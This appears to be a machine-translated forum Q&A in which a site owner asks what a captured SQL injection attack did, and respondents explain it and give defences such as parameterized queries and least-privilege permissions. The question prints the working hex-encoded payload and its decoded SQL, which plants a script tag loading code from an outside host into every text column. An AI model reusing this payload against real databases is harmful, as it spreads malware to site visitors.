Ai đó có thể giải thích sự tấn công SQL injection này cho tôi?

Question

Tôi muốn đăng bài này ở đây vì nó liên quan đến mã hóa rất nhiều và là thứ tôi phải dọn dẹp trong tuần này trên một trong các trang ASP (cổ điển) cũ của công ty tôi.

Chúng tôi bị tấn công bằng cách tấn công SQL injection mà chỉ chạy cách đây vài ngày, nhưng tôi đang gãi đầu ĐÓ chính xác 'thiệt hại' đối với máy chủ SQL (thông qua các truy vấn SQL này).

Thành thật mà nói, tôi nghĩ rằng nó rất khéo léo theo cách này được thực hiện, và các công ty của tôi bị lỗi vì có một trang web cũ 10 tuổi với ít hoặc không có đầu vào vệ sinh.

Vụ tấn công:

122 + tuyên bố +% 40 + varchar% 284.000% 29 + thiết +% 40% 3Dcast% 280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e 6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + như + varchar% 284.000% 29% 29 + exec% 28% 40% 29-

01.

gì nó giải mã để:(những gì tôi muốn hiểu)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

Chúng tôi đã khôi phục một bản sao lưu (tiêm trước) và đã trải qua toàn bộ ứng dụng và khử trùng tất cả các báo cáo đầu vào. Máy chủ của chúng tôi được tường lửa, vì vậy không có truy cập SQL trực tiếp, tuy nhiên tôi muốn biết những gì khác có thể được bỏ qua, và tôi phải thừa nhận truy vấn SQL là trên đầu của tôi.

Ai đó có thể lấy một vết nứt tại đó và giải thích câu lệnh SQL tấn công cho tôi không?

lời xin lỗi tôi CẬP NHẬT CÁC ĐẦY ĐỦ DUMP & SQL

Answer 1

Chỉ cần định dạng nó để có thể đọc sẽ làm rõ rất nhiều:

set ansi_warnings off 

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR 
    select c.TABLE_NAME, c.COLUMN_NAME 
     from INFORMATION_SCHEMA.columns c, 
      INFORMATION_SCHEMA.tables t 
    where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') 
     and c.CHARACTER_MAXIMUM_LENGTH > 30 
     and t.table_name = c.table_name 
     and t.table_type = 'BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC ('UPDATE [' + @T + '] 
       SET [' + @C + '] = 
        ''"></title>'' + 
        ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + 
        ''<!--'' + 
        RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) 
      WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) 
        <> ''"></title><script'' 
      ' 
     ) 

    FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor 

Nó đi qua tất cả các cột văn bản của tất cả các bảng và chèn một đoạn mã HTML vào nó — HTML chứa con trỏ tới JavaScript được tạo bên ngoài.

Answer 2

Nó lặp qua tất cả các cột trong tất cả các bảng và cập nhật giá trị của họ bằng cách thêm thẻ <script> có điểm nguồn ở một file JS độc hại.

Các bit quan trọng là

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Tôi đoán một cái gì đó đã bỏ qua ở đây và tuyên bố có thể kết thúc với một cái gì đó tương tự ('varchar', 'char', 'text') hoặc một cái gì đó tương tự, do đó nó chỉ cố gắng cập nhật các cột giữ văn bản.Họ hy vọng một trong các cột giữ văn bản được đưa vào trang web của bạn, vì vậy sau khi họ thêm tham chiếu JS vào nó, nó sẽ được đưa vào nguồn của các trang khác nhau.

Để khắc phục điều này, bạn nên làm điều gì đó tương tự - lặp qua tất cả các cột có chứa văn bản và thay thế tập lệnh được chèn bằng chuỗi rỗng. Google sẽ là bạn của bạn ở đây, nhưng đây là một liên kết khá tốt nên có ích khi thiết lập một kịch bản để làm điều đó.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Answer 3

Tôi nghĩ rằng cố gắng của mình để chèn chuỗi mã hóa cho tất cả các cột văn bản trong cơ sở dữ liệu của bạn. Kiểm tra ref này: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hy vọng nó giúp trong một số cảm giác

Answer 4

Cân nhắc việc cài đặt URLScan 3.1 để nhanh chóng bảo vệ ứng dụng của bạn khỏi các nỗ lực tiêm sql, cũng như làm việc thông qua ứng dụng của bạn để vệ sinh đúng các câu lệnh sql của bạn.

Loại tấn công tiêm sql này cũng thường hoạt động vì người dùng cơ sở dữ liệu của bạn có quyền quá lỏng lẻo, ví dụ: Quyền DBO. Hãy tìm cách kết nối với cơ sở dữ liệu của bạn từ ứng dụng của bạn bằng cách sử dụng một người dùng cơ sở dữ liệu chỉ với các quyền cần thiết để chạy ứng dụng của bạn. Bạn có thể tạo một người dùng cơ sở dữ liệu, ánh xạ nó vào cơ sở dữ liệu của bạn với quyền công cộng chỉ chạy một kịch bản như dưới đây để áp dụng quyền cá nhân cần thiết cho từng đối tượng bạn cần.

DECLARE @LOGIN varchar(255) 
DECLARE @DB varchar(255) 

SELECT @LOGIN = 'yourdbuser' 
SELECT @DB = 'yourdb' 

/* set default database */ 
EXEC sp_defaultdb @LOGIN, @DB 

/* drop system admin role */ 
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' 

/* drop database owner role */ 
EXEC sp_droprolemember 'db_owner', @LOGIN 

/* grant execute on all non system stored procedures and scalar functions */ 
DECLARE @SP varchar(255) 
DECLARE Proc_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='P' or type='FN') 
AND category <> 2 -- system 
OPEN Proc_Cursor 
FETCH NEXT FROM Proc_Cursor INTO @SP 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Proc_Cursor INTO @SP 
END 
CLOSE Proc_Cursor 
DEALLOCATE Proc_Cursor 

/* grant select on table functions */ 
DECLARE @TF varchar(255) 
DECLARE Tf_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='TF') 
AND category <> 2 -- system 
OPEN Tf_Cursor 
FETCH NEXT FROM Tf_Cursor INTO @TF 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Tf_Cursor INTO @SP 
END 
CLOSE Tf_Cursor 
DEALLOCATE Tf_Cursor 

/* grant select/update/insert/delete on all user defined tables */ 
DECLARE @T varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='U' or type='V') -- user defined tables and views 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Table_Cursor INTO @T 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

/* deny access to system tables */ 
DENY SELECT ON syscolumns TO yourdbuser 
DENY SELECT ON sysobjects TO yourdbuser 

DENY VIEW DEFINITION TO yourdbuser 

DENY SELECT ON sys.databases TO yourdbuser 
DENY SELECT ON sys.columns TO yourdbuser 
DENY SELECT ON sys.objects TO yourdbuser 
DENY SELECT ON sys.sql_logins TO yourdbuser 
DENY SELECT ON sys.all_columns TO yourdbuser 
DENY SELECT ON sys.all_objects TO yourdbuser 
DENY SELECT ON sys.all_parameters TO yourdbuser 
DENY SELECT ON sys.all_views TO yourdbuser 

Rõ ràng là kiểm tra điều này đối với ứng dụng cụ thể của bạn vì bạn có thể có các quy trình cần có khả năng chọn từ các bảng này.

Answer 5

Xem xét việc thay đổi các truy vấn của bạn như thế này;

Dim oConn, oRS, SQL 
'Query open to attack 
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") 

Set oConn = Server.CreateObject("ADODB.Connection") 
Call oConn.Open(conn_string_from_inc) 

Set oRS = oConn.Execute(SQL)  

Call oConn.Close() 
Set oConn = Nothing 

Để một cái gì đó như thế này;

Dim oCmd, oRS, SQL 
SQL = "SELECT * FROM [Table] WHERE [id] = ?" 

Set oCmd = Server.CreateObject("ADODB.Command") 
With oCmd 
    .ActiveConnection = conn_string_from_inc 
    .CommandType = adCmdText 
    .CommandText = SQL 
    Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) 
    .Parameters("@id").Value = Request.QueryString("id") 
    Set oRS = .Execute() 
End With 
Set oCmd = Nothing 

Đây chỉ là một ví dụ thô lỗ về chống SQL Injection mà không phải dùng đến đầu vào vệ sinh. Tôi vẫn sẽ tiếp cận điều này một cách khác.